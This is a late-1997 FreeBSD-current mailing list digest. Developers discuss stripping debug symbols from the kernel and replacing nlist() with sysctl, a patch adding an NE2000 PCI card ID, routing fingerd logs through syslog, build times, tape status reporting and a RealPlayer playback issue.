hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA17672 for ; Fri, 21 Nov 1997 08:09:51 -0800 (PST) (envelope-from mini@d198-232.uoregon.edu) Received: (from mini@localhost) by d198-232.uoregon.edu (8.8.5/8.8.5) id IAA04120; Fri, 21 Nov 1997 08:09:34 -0800 (PST) Message-ID: <19971121080934.15793@micron.mini.net> Date: Fri, 21 Nov 1997 08:09:34 -0800 From: Jonathan Mini To: Evan Champion Cc: Poul-Henning Kamp , Bruce Evans , mike@smith.net.au, freebsd-current@freebsd.org Subject: Re: Stripping the kernel Reply-To: Jonathan Mini References: <1451.880109030@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88e In-Reply-To: ; from Evan Champion on Fri, Nov 21, 1997 at 09:55:04AM -0500 X-files: The Truth is Out There Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Evan Champion stands accused of saying: > On Fri, 21 Nov 1997, Poul-Henning Kamp wrote: > > > I have been thinking about adding a "strip -d kernel" before installing > > to the makefile... > > I never thought of nlist() reading the symbols out of the kernel... > > What BSD/OS does is link the kernel, then copy it to kernel.gdb, then > strip -d kernel, then install it. That way you keep an un-stripped copy > around to debug with. That might work out well for us too. The problem *I* often have is that there is no /kernel on the filesystem, which happens in the case of MFS root'd systems all the time. I have been toying with the idea of writing a device that would use the kernel's saved symbol table in order to create a pseudo-a.out file which would provide a symbol table for things like libkvm and friends to read instead of reading the symbols from a /kernel. (I would like to advance that there is no guarantee that the kernel image on disk matches the current booted kernel, whereas the symbols in the kernel are the ones from the image the kernel was loaded from, and hopefully more reliable) -- Jonathan Mini Ingenious Productions Software Development P.O. Box 5693, Eugene, Or. 97405 "A child of five could understand this! Quick -- Fetch me a child of five." From owner-freebsd-current Fri Nov 21 09:59:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA26365 for current-outgoing; Fri, 21 Nov 1997 09:59:17 -0800 (PST) (envelope-from owner-freebsd-current) Received: from word.smith.net.au (s204m100.whistle.com [207.76.204.100]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA26354 for ; Fri, 21 Nov 1997 09:59:11 -0800 (PST) (envelope-from mike@word.smith.net.au) Received: from word (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id EAA00402; Sat, 22 Nov 1997 04:19:04 +1030 (CST) Message-Id: <199711211749.EAA00402@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Poul-Henning Kamp cc: Bruce Evans , evanc@synapse.net, mike@smith.net.au, freebsd-current@FreeBSD.ORG Subject: Re: Stripping the kernel In-reply-to: Your message of "Fri, 21 Nov 1997 11:43:50 BST." <1451.880109030@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 22 Nov 1997 04:19:04 +1030 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >>No. If you build a kernel with debug symbols, it is expected that you > >>realise how big it is, and strip it if required before installing it. > > > >Also, full stripping breaks everything that uses nlist(3) on the kernel. > >strip(1) supports several forms of partial stipping, but install(1) only > >supports full stripping. > > I have been thinking about adding a "strip -d kernel" before installing > to the makefile... If you do, add a new option to test(1) that recognises a non-stripped binary (or similar) and save a copy of same before stripping. ie. Don't break the _functionality_ of building the rotten thing in the first place... mike From owner-freebsd-current Fri Nov 21 11:59:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA06859 for current-outgoing; Fri, 21 Nov 1997 11:59:31 -0800 (PST) (envelope-from owner-freebsd-current) Received: from conductor.synapse.net (conductor.synapse.net [199.84.54.18]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA06843 for ; Fri, 21 Nov 1997 11:59:25 -0800 (PST) (envelope-from evanc@synapse.net) Received: (qmail 18591 invoked from network); 21 Nov 1997 19:58:20 -0000 Received: from cello.synapse.net (199.84.54.81) by conductor.synapse.net with SMTP; 21 Nov 1997 19:58:20 -0000 Date: Fri, 21 Nov 1997 14:58:19 -0500 (EST) From: Evan Champion To: Jonathan Mini cc: Poul-Henning Kamp , Bruce Evans , mike@smith.net.au, freebsd-current@FreeBSD.ORG Subject: Re: Stripping the kernel In-Reply-To: <19971121080934.15793@micron.mini.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 21 Nov 1997, Jonathan Mini wrote: > The problem *I* often have is that there is no /kernel on the filesystem, > which happens in the case of MFS root'd systems all the time. I have been > toying with the idea of writing a device that would use the kernel's saved > symbol table in order to create a pseudo-a.out file which would provide > a symbol table for things like libkvm and friends to read instead of reading > the symbols from a /kernel. (I would like to advance that there is no guarantee > that the kernel image on disk matches the current booted kernel, whereas the > symbols in the kernel are the ones from the image the kernel was loaded from, > and hopefully more reliable) Not really knowing how things go on, excuse me if I seem a little dense in the following :-) It always struct me that reading symbols out of the kernel is a rather backwards way of doing things. Take for example any other application but the kernel... If you wanted to know the value of a variable in that program, you wouldn't open the file up and start looking for symbols... Instead, you'd write an interface that allowed you to access those symbols indirectly. In this case, if nlist() and co. read from a kernel interface instead of reading /kernel directly, you could run a fully stripped kernel, and it wouldn't matter whether the kernel on disk was the same as the loaded kernel, since all that matters is the interface provided by the in-memory image. In a way, that is what you're doing by creating a separate device that programs can read out of, except that the programs are still reading the symbols directly (just through the /dev node instead of /kernel). Evan From owner-freebsd-current Fri Nov 21 12:57:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA11178 for current-outgoing; Fri, 21 Nov 1997 12:57:21 -0800 (PST) (envelope-from owner-freebsd-current) Received: from hplb.hpl.hp.com (hplb.hpl.hp.com [15.255.59.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA11165 for ; Fri, 21 Nov 1997 12:57:18 -0800 (PST) (envelope-from michael_class@hpbbse.bbn.hp.com) Received: from pc-micha.zdv.uni-tuebingen.de (apc1mc10.bbn.hp.com) by hplb.hpl.hp.com; Fri, 21 Nov 1997 20:57:07 GMT Received: from hpbbse.bbn.hp.com (localhost [127.0.0.1]) by pc-micha.zdv.uni-tuebingen.de (8.8.7/8.7.3) with ESMTP id VAA00347 for ; Fri, 21 Nov 1997 21:59:04 +0100 (MET) Message-Id: <3475F618.35E092FA@hpbbse.bbn.hp.com> Date: Fri, 21 Nov 1997 21:59:04 +0100 From: Micha Class Reply-To: michael_class@bbn.hp.com X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 3.0-971108-SNAP i386) Mime-Version: 1.0 To: current@freebsd.org Subject: PCI-LAN-Card Content-Type: multipart/mixed; boundary="------------861091FA55429973E47BD4CD" Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This is a multi-part message in MIME format. --------------861091FA55429973E47BD4CD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hello, I is it possible to add the following patch to pci/if_ed_p.c for current? *** if_ed_p.c.ORIG Fri Nov 21 21:50:17 1997 --- if_ed_p.c Sat Nov 15 10:34:57 1997 *************** *** 43,48 **** --- 43,49 ---- { 0x09401050, "NE2000 PCI Ethernet (ProLAN)" }, { 0x140111f6, "NE2000 PCI Ethernet (Compex)" }, { 0x30008e2e, "NE2000 PCI Ethernet (KTI)" }, + { 0x19808c4a, "NE2000 PCI Ethernet (4LAN)" }, { 0x00000000, NULL } }; With this patch my cheap LAN-Card works with current. The card is based on the WINBOND W89C940F Chip. Btw what is the idea with this list of Card-Vendors and Revisions. Will we need to add every single Ne2000 PCI-Lancard in here seperately? Michael -- ------------------------------------------------------------------------- michael class, viktor-renner str. 83, 72074 tuebingen, frg E-Mail: michael_class@hp.com Phone: +49 7031 14-3707 (work) +49 7071 81950 (private) ------------------------------------------------------------------------- --------------861091FA55429973E47BD4CD Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Michael Class Content-Disposition: attachment; filename="vcard.vcf" begin: vcard fn: Michael Class n: Class;Michael org: Hewlett-Packard GmbH adr: Herrenbergerstr. 130;;;Boeblingen;Baden-Wuerttemberg;71004;Germany email;internet: michael_class@hpbbse.bbn.hp.com title: Technical Consultant tel;work: +49 7031 14-3707 tel;fax: +49 7031 14-4196 x-mozilla-cpt: ;0 x-mozilla-html: FALSE version: 2.1 end: vcard --------------861091FA55429973E47BD4CD-- From owner-freebsd-current Fri Nov 21 13:20:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA13232 for current-outgoing; Fri, 21 Nov 1997 13:20:14 -0800 (PST) (envelope-from owner-freebsd-current) Received: from logues.rhn.orst.edu (logues.RHN.ORST.EDU [128.193.137.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA13218 for ; Fri, 21 Nov 1997 13:20:10 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Received: from localhost (logue@localhost) by logues.rhn.orst.edu (8.8.8/8.8.8) with SMTP id NAA01135 for ; Fri, 21 Nov 1997 13:20:07 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Date: Fri, 21 Nov 1997 13:20:07 -0800 (PST) From: logue To: freebsd-current@freebsd.org Subject: Painless upgrade Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk To all of the FreeBSD developers, I complement you. I just upgraded from a BusLogic BT-956C to an Adaptec 2940UW by compiling a new kernel for the Adaptec while still running the BusLogic. Then I swaped cards, entered the Adaptec BIOS, tweaked as I saw fit (SCAM+40M/s), and rebooted again only to find that everything is working perfectly with a mild performance improvement. Thanks for an operating system that _works_! -STEVEl From owner-freebsd-current Fri Nov 21 13:43:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA15826 for current-outgoing; Fri, 21 Nov 1997 13:43:12 -0800 (PST) (envelope-from owner-freebsd-current) Received: from logues.rhn.orst.edu (logues.RHN.ORST.EDU [128.193.137.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA15803 for ; Fri, 21 Nov 1997 13:43:04 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Received: from localhost (logue@localhost) by logues.rhn.orst.edu (8.8.8/8.8.8) with SMTP id NAA01751; Fri, 21 Nov 1997 13:42:54 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Date: Fri, 21 Nov 1997 13:42:54 -0800 (PST) From: logue To: Chris Young cc: freebsd-current@freebsd.org Subject: Re: Way to know if someone fingers you In-Reply-To: <1.5.4.16.19971121144025.2e8f26fa@c-unix.mountain.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 21 Nov 1997, Chris Young wrote: > >edit /etc/inetd.conf, and put a "-l" (dash ell) as an argument to fingerd. > > > >man fingerd > > > >-STEVEl > > > Thanks, > > I added the -l option, and restarted the system. I also read the man pages, > which told me that this would log the finger request to the syslog. > > How would I get this to log to a different file? would I need to change the > source code for fingerd and recompile? > > Chris Find out through what logging level fingerd is writing to syslog, and edit /etc/syslog.conf to reroute those messages to some other file like /var/log/secure. Figuring out what level it uses, and changing where it goes are something that I have yet to learn as well. In fact, I would like to know every possible way something can write to syslog so that I can solve this problem once and for all. For example, I want to route tcpd (tcp_wrapper) messages to /var/log/secure... I saw mention of NTP messages having their own level in syslog, now in 3.0 but I never noticed any evidence of such. Perhaps the person who made these changes, and commented about them in RELNOTES.TXT could comment on this, and learn us both??????? -STEVEl From owner-freebsd-current Fri Nov 21 15:57:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA25951 for current-outgoing; Fri, 21 Nov 1997 15:57:13 -0800 (PST) (envelope-from owner-freebsd-current) Received: from d198-232.uoregon.edu (d198-232.uoregon.edu [128.223.198.232]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA25942 for ; Fri, 21 Nov 1997 15:57:10 -0800 (PST) (envelope-from mini@d198-232.uoregon.edu) Received: (from mini@localhost) by d198-232.uoregon.edu (8.8.5/8.8.5) id PAA04688; Fri, 21 Nov 1997 15:56:49 -0800 (PST) Message-ID: <19971121155649.49582@micron.mini.net> Date: Fri, 21 Nov 1997 15:56:49 -0800 From: Jonathan Mini To: Evan Champion Cc: Jonathan Mini , Poul-Henning Kamp , Bruce Evans , mike@smith.net.au, freebsd-current@FreeBSD.ORG Subject: Re: Stripping the kernel Reply-To: Jonathan Mini References: <19971121080934.15793@micron.mini.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88e In-Reply-To: ; from Evan Champion on Fri, Nov 21, 1997 at 02:58:19PM -0500 X-files: The Truth is Out There Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Evan, you are absolutely right. It is Bad and Evil to read things out of the kernel memory. I have hated it from the start. However, look at the uses of the kernel tompling, and come up with an effective efficient way to do the same things, and I will even write it for you. :) Evan Champion stands accused of saying: > On Fri, 21 Nov 1997, Jonathan Mini wrote: > > > The problem *I* often have is that there is no /kernel on the filesystem, > > which happens in the case of MFS root'd systems all the time. I have been > > toying with the idea of writing a device that would use the kernel's saved > > symbol table in order to create a pseudo-a.out file which would provide > > a symbol table for things like libkvm and friends to read instead of reading > > the symbols from a /kernel. (I would like to advance that there is no guarantee > > that the kernel image on disk matches the current booted kernel, whereas the > > symbols in the kernel are the ones from the image the kernel was loaded from, > > and hopefully more reliable) > > Not really knowing how things go on, excuse me if I seem a little dense in > the following :-) > > It always struct me that reading symbols out of the kernel is a rather > backwards way of doing things. > > Take for example any other application but the kernel... If you wanted to > know the value of a variable in that program, you wouldn't open the file > up and start looking for symbols... Instead, you'd write an interface > that allowed you to access those symbols indirectly. > > In this case, if nlist() and co. read from a kernel interface instead of > reading /kernel directly, you could run a fully stripped kernel, and it > wouldn't matter whether the kernel on disk was the same as the loaded > kernel, since all that matters is the interface provided by the in-memory > image. > > In a way, that is what you're doing by creating a separate device that > programs can read out of, except that the programs are still reading the > symbols directly (just through the /dev node instead of /kernel). > > Evan > -- Jonathan Mini Ingenious Productions Software Development P.O. Box 5693, Eugene, Or. 97405 "A child of five could understand this! Quick -- Fetch me a child of five." From owner-freebsd-current Fri Nov 21 16:24:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA27316 for current-outgoing; Fri, 21 Nov 1997 16:24:55 -0800 (PST) (envelope-from owner-freebsd-current) Received: from biggusdiskus.flyingfox.com (biggusdiskus.flyingfox.com [206.14.52.27]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA27290 for ; Fri, 21 Nov 1997 16:24:46 -0800 (PST) (envelope-from jas@flyingfox.com) Received: (from jas@localhost) by biggusdiskus.flyingfox.com (8.8.5/8.8.5) id QAA05276; Fri, 21 Nov 1997 16:25:55 -0800 (PST) Date: Fri, 21 Nov 1997 16:25:55 -0800 (PST) From: Jim Shankland Message-Id: <199711220025.QAA05276@biggusdiskus.flyingfox.com> To: j_mini@efn.org Subject: Re: Stripping the kernel Cc: current@freebsd.org Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jonathan Mini writes: > Evan, you are absolutely right. It is Bad and Evil to read things out > of the kernel memory. I have hated it from the start. However, look at > the uses of the kernel tompling, and come up with an effective > efficient way to do the same things, and I will even write it for > you. :) Tompling? There are plenty of alternatives, all in use today: ioctl (think SIOCGIFCONF); sysctl /proc file system special sockets (think PF_ROUTE); good old poking through the kernel nlist. Take your pick. Or invent yet more. Question to think about: how many of the above can be used on kernel dump files? Jim Shankland Flying Fox Computer Systems, Inc. From owner-freebsd-current Fri Nov 21 18:18:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA04905 for current-outgoing; Fri, 21 Nov 1997 18:18:41 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id SAA04900 for ; Fri, 21 Nov 1997 18:18:37 -0800 (PST) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0xZ59R-00041w-00; Fri, 21 Nov 1997 19:18:29 -0700 Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.8.7/8.8.3) with ESMTP id TAA28652; Fri, 21 Nov 1997 19:20:35 -0700 (MST) Message-Id: <199711220220.TAA28652@harmony.village.org> To: Steve Passe Subject: Re: make world time???/ Cc: Thomas Dean , drussell@saturn-tech.com, gurney_j@resnet.uoregon.edu, bsampley@bsampley.vip.best.com, current@freebsd.org In-reply-to: Your message of "Thu, 13 Nov 1997 10:02:56 MST." <199711131702.KAA01538@Ilsa.StevesCafe.com> References: <199711131702.KAA01538@Ilsa.StevesCafe.com> Date: Fri, 21 Nov 1997 19:20:35 -0700 From: Warner Losh Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199711131702.KAA01538@Ilsa.StevesCafe.com> Steve Passe writes: : There is a big gain when going from P5 to P6, about 2:1 I know that I got make world down to about 1:35 on my P6-180. That was a full build, -pipe, /usr/src noatime, /usr/obj async, noatime. I suspect I could push that closer to 1:10 or so with make -j 4. I did my timings last summer before there was support for this in the kernel. And that is with a one spindle scsi disk system, narrow, 5400 rpm, aic 7880 on the then -current tree. There was supposed to be an article in the Free Systems Journal on this, but I've not seen it yet. Warner From owner-freebsd-current Fri Nov 21 18:52:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA06631 for current-outgoing; Fri, 21 Nov 1997 18:52:14 -0800 (PST) (envelope-from owner-freebsd-current) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA06625 for ; Fri, 21 Nov 1997 18:52:10 -0800 (PST) (envelope-from bde@zeta.org.au) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.7/8.6.9) id NAA04800; Sat, 22 Nov 1997 13:50:28 +1100 Date: Sat, 22 Nov 1997 13:50:28 +1100 From: Bruce Evans Message-Id: <199711220250.NAA04800@godzilla.zeta.org.au> To: evanc@synapse.net, j_mini@efn.org Subject: Re: Stripping the kernel Cc: bde@zeta.org.au, freebsd-current@FreeBSD.ORG, mike@smith.net.au, phk@critter.freebsd.dk Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Evan, you are absolutely right. It is Bad and Evil to read things out of the >kernel memory. I have hated it from the start. However, look at the uses of >the kernel tompling, and come up with an effective efficient way to do the same >things, and I will even write it for you. :) Don't forget that it has to work on a long-running kernel running at securelevel 2 (where group kmem can read kmem but even root can't add LKMs). Missing interfaces may develop over the years :-). Bruce From owner-freebsd-current Fri Nov 21 22:24:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA16248 for current-outgoing; Fri, 21 Nov 1997 22:24:47 -0800 (PST) (envelope-from owner-freebsd-current) Received: from word.smith.net.au (beast.cdrom.com [204.216.27.23]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA16239 for ; Fri, 21 Nov 1997 22:24:44 -0800 (PST) (envelope-from mike@word.smith.net.au) Received: from word (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id QAA00659; Sat, 22 Nov 1997 16:48:26 +1030 (CST) Message-Id: <199711220618.QAA00659@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: michael_class@bbn.hp.com cc: current@freebsd.org Subject: Re: PCI-LAN-Card In-reply-to: Your message of "Fri, 21 Nov 1997 21:59:04 BST." <3475F618.35E092FA@hpbbse.bbn.hp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 22 Nov 1997 16:48:25 +1030 From: Mike Smith Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > I is it possible to add the following patch to pci/if_ed_p.c for > current? Done, and also to -stable. Thanks! > Btw what is the idea with this list of Card-Vendors and Revisions. Will > we need to add every single Ne2000 PCI-Lancard in here seperately? It would seem so. There is a set of "generic" identifiers for ISA PNP cards, but not (it seems) for PCI cards. 8( mike From owner-freebsd-current Fri Nov 21 23:14:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA19010 for current-outgoing; Fri, 21 Nov 1997 23:14:39 -0800 (PST) (envelope-from owner-freebsd-current) Received: from conductor.synapse.net (conductor.synapse.net [199.84.54.18]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA19004 for ; Fri, 21 Nov 1997 23:14:29 -0800 (PST) (envelope-from evanc@synapse.net) Received: (qmail 18387 invoked from network); 22 Nov 1997 07:14:26 -0000 Received: from cello.synapse.net (199.84.54.81) by conductor.synapse.net with SMTP; 22 Nov 1997 07:14:26 -0000 Date: Sat, 22 Nov 1997 02:14:25 -0500 (EST) From: Evan Champion To: Jonathan Mini cc: Poul-Henning Kamp , Bruce Evans , mike@smith.net.au, freebsd-current@FreeBSD.ORG Subject: Re: Stripping the kernel In-Reply-To: <19971121155649.49582@micron.mini.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 21 Nov 1997, Jonathan Mini wrote: > Evan, you are absolutely right. It is Bad and Evil to read things out of the > kernel memory. I have hated it from the start. However, look at the uses of > the kernel tompling, and come up with an effective efficient way to do the same > things, and I will even write it for you. :) Well, maybe that's the first step... Find everything that has to use nlist() etc. to work, and see if there's not already another way they could be implemented. As a test, I grepped for 'nlist(' in /usr/src and there are only circa 87 matches (that really call nlist) in 50 different files. A large part of this should be available from sysctl() and co. As examples, the following should be fully satisfied by sysctl(): sendmail -> load average. xntpd -> tickadj. named -> UDP checksum state. libpcap -> seems to only use it on HPUX The following can be at least partially satisfied by sysctl(): ipsend -> max number of processes (proc & nproc). ps -> pagesize. And some are just for implementing nlist, ie: libkvm, libc/gen/nlist.c. If nlist() and co. disappeared, so would the need for those libraries... The problem spots are mainly things like savecore (whose soul purpose is to operate on symbol tables) and the device-driver-specific programs (like ncrcontrol). I think the device-driver-specific programs could be implemented using device-specific ioctl's (as the DPT driver does). I don't have a nice solution for savecore and co. But there seems to be at least some hope here. Evan From owner-freebsd-current Sat Nov 22 01:18:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA25157 for current-outgoing; Sat, 22 Nov 1997 01:18:24 -0800 (PST) (envelope-from owner-freebsd-current) Received: from shasta.wstein.com (joes@shasta.wstein.com [207.173.11.132]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA25152 for ; Sat, 22 Nov 1997 01:18:20 -0800 (PST) (envelope-from joes@shasta.wstein.com) Received: (from joes@localhost) by shasta.wstein.com (8.8.8/8.8.8) id BAA06933; Sat, 22 Nov 1997 01:18:01 -0800 (PST) From: Joseph Stein Message-Id: <199711220918.BAA06933@shasta.wstein.com> Subject: Re: Way to know if someone fingers you In-Reply-To: from logue at "Nov 21, 97 01:42:54 pm" To: logue@logues.rhn.orst.edu (logue) Date: Sat, 22 Nov 1997 01:18:01 -0800 (PST) Cc: chris@c-unix.mountain.net, freebsd-current@freebsd.org X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > goes are something that I have yet to learn as well. In fact, I would > like to know every possible way something can write to syslog so that I > can solve this problem once and for all. For example, I want to route > tcpd (tcp_wrapper) messages to /var/log/secure... To find out "every possible way something can write to syslog", man 8 syslogd To find out how to filter it out, man 5 syslog.conf To find out which program uses which facilities (and how to filter it) UTSL (Use the source, Luke) joe From owner-freebsd-current Sat Nov 22 02:56:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA28974 for current-outgoing; Sat, 22 Nov 1997 02:56:12 -0800 (PST) (envelope-from owner-freebsd-current) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA28963; Sat, 22 Nov 1997 02:56:06 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id LAA04683; Sat, 22 Nov 1997 11:54:30 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Stefan Esser cc: Bruce Evans , evanc@synapse.net, mike@smith.net.au, freebsd-current@freebsd.org Subject: Re: Stripping the kernel In-reply-to: Your message of "Fri, 21 Nov 1997 21:11:22 +0100." <19971121211122.16595@mi.uni-koeln.de> Date: Sat, 22 Nov 1997 11:54:30 +0100 Message-ID: <4681.880196070@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <19971121211122.16595@mi.uni-koeln.de>, Stefan Esser writes: >On 1997-11-21 11:43 +0100, Poul-Henning Kamp wrote: >> I have been thinking about adding a "strip -d kernel" before installing >> to the makefile... > >I just tried it: The size of the kernel was reduced by 0 bytes, >and I guess that is not enough to justify the effort ;-) If your kernel was compiled with "-g" which this is intended to help, it would have. It is harmless for the normal case. man 1 strip. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-current Sat Nov 22 04:22:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA03482 for current-outgoing; Sat, 22 Nov 1997 04:22:22 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id EAA03463 for ; Sat, 22 Nov 1997 04:22:15 -0800 (PST) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id NAA02367; Sat, 22 Nov 1997 13:22:14 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.8.8/8.8.5) id NAA09384; Sat, 22 Nov 1997 13:13:31 +0100 (MET) Message-ID: <19971122131330.HP57544@uriah.heep.sax.de> Date: Sat, 22 Nov 1997 13:13:30 +0100 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-current@FreeBSD.ORG Cc: abial@korin.warman.org.pl (Andrzej Bialecki) Subject: Re: 'mt status' doesn't report file # ? References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Andrzej Bialecki on Nov 20, 1997 10:54:59 +0100 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Andrzej Bialecki wrote: > Recently I started using mt(8) with HP SCSI DAT drive. After using this > command on Solaris I badly miss the information about file #. > > How to get this info? The tape driver needs to count the current tape file. It doesn't do this right now, and i've walked the SCSI specs up and down, it's unfortunately impossible to obtain this information directly from the device (you can only obtain the absolute block number, but that's not of great value). We accept patches iff they are sent as `diff -u' (or `diff -c') output. ;-) While you are at it, please also have a look at PR 4260... <:-) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-current Sat Nov 22 07:52:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA11302 for current-outgoing; Sat, 22 Nov 1997 07:52:50 -0800 (PST) (envelope-from owner-freebsd-current) Received: from adelphi.physics.adelaide.edu.au (adelphi.physics.adelaide.edu.au [129.127.36.247]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id HAA11296 for ; Sat, 22 Nov 1997 07:52:46 -0800 (PST) (envelope-from kkennawa@physics.adelaide.edu.au) Received: from bragg by adelphi.physics.adelaide.edu.au (5.65/AndrewR-930902) id AA23682; Sun, 23 Nov 1997 02:22:36 +1030 From: Kristian Kennaway Received: by bragg; (5.65/1.1.8.2/05Aug95-0227PM) id AA11311; Sun, 23 Nov 1997 02:22:44 +1030 Message-Id: <9711221552.AA11311@bragg> Subject: RealPlayer 5.0 To: freebsd-current@freebsd.org (FreeBSD Current) Date: Sun, 23 Nov 1997 02:22:44 +1030 (CST) X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm having problems with the linux realplayer beta under current: following the directions in the README.FIRST, I've set my LD_LIBRARY_PATH, and I can load the sample .rm file, but I dont get more than a fragment of video (or sound, now that the new sound drivers are in). Looks to be about two frames, then it stops. By dragging the slider I can get a DIFFERENT two frames, but I cant seem to play a full sequence :-) Trying to stop/restart the animation produces the same result. Has anyone been having a similar problem? Kris From 